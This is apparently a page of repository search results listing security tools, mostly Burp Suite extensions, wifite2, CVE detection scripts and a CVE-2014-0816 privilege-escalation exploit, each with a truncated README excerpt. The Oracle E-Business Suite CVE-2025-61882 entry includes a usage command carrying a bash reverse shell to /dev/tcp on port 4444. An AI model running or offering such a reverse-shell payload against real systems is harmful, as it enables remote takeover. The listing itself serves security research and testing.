28749 matches found
CVE-2025-61882-CVE-2025-61884
CVE-2025-61882 & CVE-2025-61884 EDIT: Oracle just disclosed a new vulnerability CVE-2025-61884, the detection script for that vuln can be found in this repo or originally here:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. As quoted from Oracle's security advisory: This Securit...
Berserko
Berserko - Kerberos authentication for Burp Suite Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Turnbull, richard dot turnbull at nccgroup dot com http://www.github.com/nccgroup/Berserko Released under AGPL, see LICENSE for more information ❗ Important...
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Detection Artifact Generator for Oracle E-Business Suite CVE-2025-61882 See our blog post for technical details Detection in Action python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&...
wifite2
Wifite This repo is a complete re-write of wifite, a Python script for auditing wireless networks. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Wifite is designed to use all known methods for retrieving the password of a wireless access point...
turbo-intruder
Turbo Intruder Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It's intended to complement Burp Intruder by handling attacks that require exceptional speed, duration, or complexity. The following features set it apart: Fast - Turbo...
IPRotate_Burp_Extension
IPRotateBurpExtension Extension for Burp Suite which uses AWS API Gateway to change your IP on every request. More info: Bypassing IP Based Blocking Using AWS - Rhino Security Labs Note/Warning This method of using AWS API Gateways to obfuscate source IP is now considered prohibited according to...
SqlMap_BurpSuite
SqlMapBurpSuite Compiled sqlmap.jar https://github.com/jas502n/SqlMapBurpSuite/blob/master/burpsqlmap/out/artifacts/burpsqlmapjar/burpsqlmap.jar grep -r "send to Sqlmap" src/burp/SnifferContextMenuFactory.java: JMenuItem jMenuItem = new JMenuItem"send to Sqlmap"; JMenuItem jMenuItem = new...
http-request-smuggler
HTTP Request Smuggler This Burp Suite extension automatically detects and exploits HTTP Request Smuggling vulnerabilities using advanced desynchronization techniques developed by PortSwigger researcher James Kettle. It supports comprehensive scanning for HTTP/1.1 and HTTP/2-downgrade desync...
ParaForge
ParaForge ParaForge is a simple Burp Suite extension to extract the paramters and endpoints from the request to create custom wordlist for fuzzing and enumeration. This is just a simple extension for easy usage. There are more advance and better options available. Features Extract endpoint Extrac...
hetty
Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community. Features Machine-in-the-middle MITM HTTP proxy, with logs and advanced...
lava
LAVA: Large Scale Automated Vulnerability Addition Evaluating and improving bug-finding tools is currently difficult due to a shortage of ground truth corpora i.e., software that has known bugs with triggering inputs. LAVA attempts to solve this problem by automatically injecting bugs into...
pentest-mapper
Pentest Mapper Pentest Mapper is a Burp Suite extension that integrates the Burp Suite request logging with a custom application testing checklist. The extension provides a straightforward flow for application penetration testing. The extension includes functionalities to allow users to map the...
CVE-2025-55182-burpscanner
CVE-2025-55182-burpscanner A Burp Suite passive scanning plugin for detecting CVE-2025-55182, using JDK 17 Plugin Usage: Default scanning of history / right-click active scan. When a vulnerability is detected, it automatically goes to the CVE-2025-55182 module. Deduplication Deduplication Mechani...
BurpAPISecuritySuite
Support Development If this project helps your work, support ongoing maintenance and new features. ETH Donation Wallet 0x11282eE5726B3370c8B480e321b3B2aA13686582 Scan the QR code or copy the wallet address above. BurpAPISecuritySuite Professional-grade Burp Suite extension for comprehensive API...
AuthMatrix
AuthMatrix v0.8.2 AuthMatrix is an extension to Burp Suite that provides a simple way to test authorization in web applications and web services. With AuthMatrix, testers focus on thoroughly defining tables of users, roles, and requests for their specific target application upfront. These tables...
CVE-2014-0816
CVE-2014-0816 This is an exploit for CVE-2014-0816 JVNDB-2014-000026: Norman Security Suite vulnerable to privilege escalation. This exploit launches CMD.exe with SYSTEM privilege from Non-Administrator privilege by exploiting the vulnerability in an IOCTL handler of ngs.sys / ngs64.sys. Usage...
active-scan-plus-plus
ActiveScan++ ActiveScan++ extends Burp Suite's active and passive scanning capabilities. Designed to add minimal network overhead, it identifies application behaviour that may be of interest to advanced testers: Potential host header attacks password reset poisoning, cache poisoning, DNS rebindin...
fingerprint-suite
fingerprint-suite is a handcrafted assembly of tools for browser fingerprint generation and injection. Today's websites are increasingly using fingerprinting to track users and identify them. With the help of fingerprint-suite you can generate and inject browser fingerprints into your browser,...
burp-exporter
Exporter Extension for Burp Suite Community and Pro Follow us to know more about tips and others extensions Description Exporter is a Burp Suite extension to copy a request to a file or the clipboard as multiple programming languages functions. It also adds a tab called Exporter where you can...